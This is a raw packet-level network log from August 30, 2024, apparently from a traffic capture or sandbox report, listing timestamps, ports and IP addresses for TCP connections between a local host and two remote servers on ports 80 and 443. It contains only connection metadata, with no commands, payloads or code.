Aug 30, 2024 06:17:06.043302059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.043334007 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.043344975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.043353081 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.043394089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043397903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.043416023 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.043426037 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.043442965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.043451071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043467999 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.043493032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.043700933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043833017 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.043848038 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.043903112 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.043910980 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.043937922 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.043950081 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.043965101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.044351101 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.044365883 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.044403076 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.044414997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.044430017 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.044456959 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.044537067 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.044553041 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.044601917 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.044610977 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.044652939 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045140982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045157909 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045205116 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045212984 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045248985 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045587063 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045600891 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045651913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045658112 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045670986 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045686007 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045700073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045722008 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045736074 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045739889 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045824051 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045855045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045878887 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045886993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.045912981 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.045937061 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.081239939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081307888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081315994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081317902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081343889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081378937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081403017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081413031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081422091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081435919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081445932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081451893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081476927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081513882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081630945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081640005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081649065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081657887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081667900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081681013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081682920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081692934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081701040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081707001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081707001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081711054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081721067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081727028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081729889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081739902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081748962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081756115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081773996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081783056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081784010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081792116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081799984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081809998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081820011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081826925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081923962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081923962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.081943035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081963062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081973076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081981897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.081993103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082003117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082011938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082019091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082026005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082026005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082035065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082060099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082060099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082124949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082134008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082142115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082150936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082168102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082181931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082319021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082328081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082335949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082345963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082356930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082365990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082376003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082379103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082379103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082385063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082392931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082402945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082420111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082420111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082446098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082456112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082465887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082473993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082489014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082499027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082500935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082506895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082515001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082537889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082568884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082577944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082588911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082622051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082691908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082700014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082705021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082714081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082724094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082734108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082743883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082746983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082756042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.082772017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082772017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.082798004 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085668087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085705996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085717916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085722923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085751057 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085764885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085774899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085784912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085793972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085824966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085832119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085835934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085836887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085877895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085877895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085903883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085912943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085922003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085932016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085942030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.085942030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085971117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085979939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.085999012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086009026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086033106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086041927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086044073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086052895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086075068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086093903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086191893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086206913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086215973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086225033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086235046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086241961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086251974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086262941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086272001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086273909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086273909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086273909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086299896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086313009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086323023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086330891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086332083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086373091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086373091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086397886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086406946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086415052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086433887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086445093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086453915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086458921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086458921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086464882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086472988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086478949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086486101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086489916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086498976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086514950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086523056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086523056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086524010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086534023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086549044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086554050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086555958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086591005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086592913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086594105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086602926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086611032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.086638927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.086659908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091461897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091470003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091510057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091564894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091598034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091607094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091609001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091622114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091630936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091636896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091649055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091677904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091712952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091722965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091732979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091742039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091753006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091757059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091779947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091789961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091809034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091818094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091826916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091849089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091871977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091928959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091938972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091947079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091954947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091964960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091974974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.091976881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.091986895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092000961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092019081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092047930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092057943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092065096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092073917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092092991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092107058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092125893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092134953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092144012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092175961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092266083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092274904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092283964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092294931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092304945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092312098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092314005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092324018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092330933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092334986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092344046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092365980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.092398882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.092520952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.093766928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093795061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093803883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093810081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.093832970 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.093864918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093874931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093883038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093893051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093911886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.093926907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.093981028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093990088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.093997955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094010115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094027996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.094043016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.094046116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094054937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094070911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094079971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094083071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.094089031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.094104052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.094125032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099189043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099229097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099236012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099236965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099258900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099273920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099277020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099283934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099292994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099318027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099334002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099343061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099369049 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099383116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099421024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.099466085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.099494934 CEST	80	49735	147.45.44.104	192.168.2.4
